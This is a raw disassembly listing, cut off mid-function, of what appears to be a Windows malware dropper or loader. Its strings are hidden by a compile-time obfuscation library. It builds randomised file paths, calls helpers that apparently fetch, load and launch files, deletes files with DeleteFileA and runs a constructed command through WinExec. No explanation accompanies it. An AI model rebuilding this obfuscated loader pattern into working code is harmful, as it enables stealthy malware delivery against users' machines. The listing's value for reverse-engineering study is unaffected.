lea rcx, [rbp + 0x126e]
lea rdx, [rbp + 0x870]
lea rax, [rbp + 0x1240]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x11f0]
lea rcx, [rbp + 0x1210]
lea rdx, [rbp + 0x1240]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x11b0]
lea rcx, [rbp + 0x11d0]
lea rdx, [rbp + 0x11f0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp - 0x20]
lea rcx, [rbp + 0x1180]
lea rdx, [rbp + 0x11b0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x11b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x11f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1240]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x126e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1210]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x123e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x11d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1180]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x11ae]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x126f]
mov rcx, rax
call method.main.lambda__27::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_7ull__14664635016038421415ull__char_.operator_char__
mov r8d, 0
mov rdx, rbx
mov rcx, rax
call sym.f_dpf_char__char_const__int_
test eax, eax
sete al
test al, al
je 0x231951862
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.f_lf_char_const_
mov qword [rbp + 0x3da0], rax
lea rax, [rbp + 0x129e]
mov qword [rbp + 0x3c40], rax
nop
nop
lea rax, [rbp + 0x129f]
mov rcx, rax
call method.main.lambda__29::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__8174961017843434979ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x129e]
lea rax, [rbp + 0x1270]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x12c0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x132e]
mov qword [rbp + 0x3c38], rax
nop
nop
lea rax, [rbp + 0x132f]
mov rcx, rax
call method.main.lambda__28::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__8174961017843434979ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x132e]
lea rax, [rbp + 0x1300]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x135e]
mov qword [rbp + 0x3c30], rax
nop
nop
lea rcx, [rbp + 0x135e]
lea rdx, [rbp + 0x870]
lea rax, [rbp + 0x1330]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x12e0]
lea rcx, [rbp + 0x1300]
lea rdx, [rbp + 0x1330]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x12a0]
lea rcx, [rbp + 0x12c0]
lea rdx, [rbp + 0x12e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
mov rax, rbp
lea rcx, [rbp + 0x1270]
lea rdx, [rbp + 0x12a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x12a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x12e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1330]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x135e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1300]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x132e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x12c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1270]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x129e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov rax, rbp
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x135f]
mov rcx, rax
call method.main.lambda__30::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_7ull__6887078857833260439ull__char_.operator_char__
mov r8d, 0
mov rdx, rbx
mov rcx, rax
call sym.f_dpf_char__char_const__int_
test eax, eax
sete al
test al, al
je 0x231951a6d
mov rax, rbp
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.f_lf_char_const_
mov qword [rbp + 0x3d98], rax
lea rax, [rbp + 0x138e]
mov qword [rbp + 0x3c28], rax
nop
nop
lea rax, [rbp + 0x138f]
mov rcx, rax
call method.main.lambda__32::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__9180309678298702311ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x138e]
lea rax, [rbp + 0x1360]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x13b0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x141e]
mov qword [rbp + 0x3c20], rax
nop
nop
lea rax, [rbp + 0x141f]
mov rcx, rax
call method.main.lambda__31::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__9180309678298702311ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x141e]
lea rax, [rbp + 0x13f0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x144e]
mov qword [rbp + 0x3c18], rax
nop
nop
lea rcx, [rbp + 0x144e]
lea rdx, [rbp + 0x870]
lea rax, [rbp + 0x1420]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x13d0]
lea rcx, [rbp + 0x13f0]
lea rdx, [rbp + 0x1420]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1390]
lea rcx, [rbp + 0x13b0]
lea rdx, [rbp + 0x13d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x20]
lea rcx, [rbp + 0x1360]
lea rdx, [rbp + 0x1390]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1390]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x13d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1420]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x144e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x13f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x141e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x13b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1360]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x138e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x144f]
mov rcx, rax
call method.main.lambda__33::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_7ull__7920544567226083633ull__char_.operator_char__
mov r8d, 0
mov rdx, rbx
mov rcx, rax
call sym.f_dpf_char__char_const__int_
test eax, eax
sete al
test al, al
je 0x231951c7b
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.f_lf_char_const_
mov qword [rbp + 0x3d90], rax
lea rax, [rbp + 0x147e]
mov qword [rbp + 0x3c10], rax
nop
nop
lea rax, [rbp + 0x147f]
mov rcx, rax
call method.main.lambda__35::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__2703221208095757587ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x147e]
lea rax, [rbp + 0x1450]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x14a0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x150e]
mov qword [rbp + 0x3c08], rax
nop
nop
lea rax, [rbp + 0x150f]
mov rcx, rax
call method.main.lambda__34::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__2703221208095757587ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x150e]
lea rax, [rbp + 0x14e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x153e]
mov qword [rbp + 0x3c00], rax
nop
nop
lea rcx, [rbp + 0x153e]
lea rdx, [rbp + 0x870]
lea rax, [rbp + 0x1510]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x14c0]
lea rcx, [rbp + 0x14e0]
lea rdx, [rbp + 0x1510]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1480]
lea rcx, [rbp + 0x14a0]
lea rdx, [rbp + 0x14c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x40]
lea rcx, [rbp + 0x1450]
lea rdx, [rbp + 0x1480]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1480]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x14c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1510]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x153e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x14e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x150e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x14a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1450]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x147e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x153f]
mov rcx, rax
call method.main.lambda__36::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__2140113591655458149ull__char_.operator_char__
mov r8d, 0
mov rdx, rbx
mov rcx, rax
call sym.f_dpf_char__char_const__int_
test eax, eax
sete al
test al, al
je 0x231951e89
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.f_lf_char_const_
mov qword [rbp + 0x3d88], rax
lea rax, [rbp + 0x156e]
mov qword [rbp + 0x3bf8], rax
nop
nop
lea rax, [rbp + 0x156f]
mov rcx, rax
call method.main.lambda__38::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__660823272653844421ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x156e]
lea rax, [rbp + 0x1540]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x1590]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x15fe]
mov qword [rbp + 0x3bf0], rax
nop
nop
lea rax, [rbp + 0x15ff]
mov rcx, rax
call method.main.lambda__37::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__660823272653844421ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x15fe]
lea rax, [rbp + 0x15d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x162d]
mov qword [rbp + 0x3be8], rax
nop
nop
lea rcx, [rbp + 0x162d]
lea rdx, [rbp + 0x870]
lea rax, [rbp + 0x1600]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x15b0]
lea rcx, [rbp + 0x15d0]
lea rdx, [rbp + 0x1600]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1570]
lea rcx, [rbp + 0x1590]
lea rdx, [rbp + 0x15b0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x60]
lea rcx, [rbp + 0x1540]
lea rdx, [rbp + 0x1570]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1570]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x15b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1600]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x162d]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x15d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x15fe]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1590]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1540]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x156e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x162e]
mov rcx, rax
call method.main.lambda__39::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__15269313168582202233ull__char_.operator_char__
mov r8d, 0
mov rdx, rbx
mov rcx, rax
call sym.f_dpf_char__char_const__int_
test eax, eax
sete al
test al, al
je 0x231952097
lea rax, [rbp + 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.f_lf_char_const_
mov qword [rbp + 0x3d80], rax
mov edx, 0
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x162f]
mov rcx, rax
call method.main.lambda__40::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__13244996024794054425ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x165e]
mov qword [rbp + 0x3be0], rax
nop
nop
lea rax, [rbp + 0x165f]
mov rcx, rax
call method.main.lambda__41::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__9204053093486944253ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x165e]
lea rax, [rbp + 0x1630]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1630]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1630]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x165e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x168e]
mov qword [rbp + 0x3bd8], rax
nop
nop
lea rax, [rbp + 0x168f]
mov rcx, rax
call method.main.lambda__42::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_26ull__17120261590094184339ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x168e]
lea rax, [rbp + 0x1660]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1660]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0x8000000
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x1660]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x168e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x16be]
mov qword [rbp + 0x3bd0], rax
nop
nop
lea rax, [rbp + 0x16bf]
mov rcx, rax
call method.main.lambda__43::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__7040607668629659083ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x16be]
lea rax, [rbp + 0x1690]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x16ef]
mov qword [rbp + 0x3bc8], rax
nop
nop
lea rcx, [rbp + 0x16ef]
lea rdx, [rbp + 0x870]
lea rax, [rbp + 0x16c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x80]
lea rcx, [rbp + 0x1690]
lea rdx, [rbp + 0x16c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x16c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x16ef]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1690]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x16be]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x80]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov rax, qword [rbp + 0x3d88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp + 0x80]
lea rax, [rbp + 0x16f0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x40]
lea rax, [rbp + 0x1710]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x16f0]
lea rax, [rbp + 0x1710]
mov r8d, 0
mov rcx, rax
call sym.f_xc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_
lea rax, [rbp + 0x1710]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x16f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rdx, [rbp + 0x80]
lea rax, [rbp + 0x1750]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x179e]
mov qword [rbp + 0x3bc0], rax
nop
nop
lea rax, [rbp + 0x179f]
mov rcx, rax
call method.main.lambda__44::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__6169365677677468053ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x179e]
lea rax, [rbp + 0x1770]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1730]
lea rcx, [rbp + 0x1750]
lea rdx, [rbp + 0x1770]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1730]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
lea rax, [rbp + 0x1730]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1770]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x179e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1750]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x17ce]
mov qword [rbp + 0x3bb8], rax
nop
nop
lea rax, [rbp + 0x17cf]
mov rcx, rax
call method.main.lambda__45::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_23ull__6606201885668136765ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x17ce]
lea rax, [rbp + 0x17a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x17a0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x17a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x17ce]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x17fe]
mov qword [rbp + 0x3bb0], rax
nop
nop
lea rax, [rbp + 0x17ff]
mov rcx, rax
call method.main.lambda__46::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_25ull__11354577310365483315ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x17fe]
lea rax, [rbp + 0x17d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x17d0]
mov rcx, rax
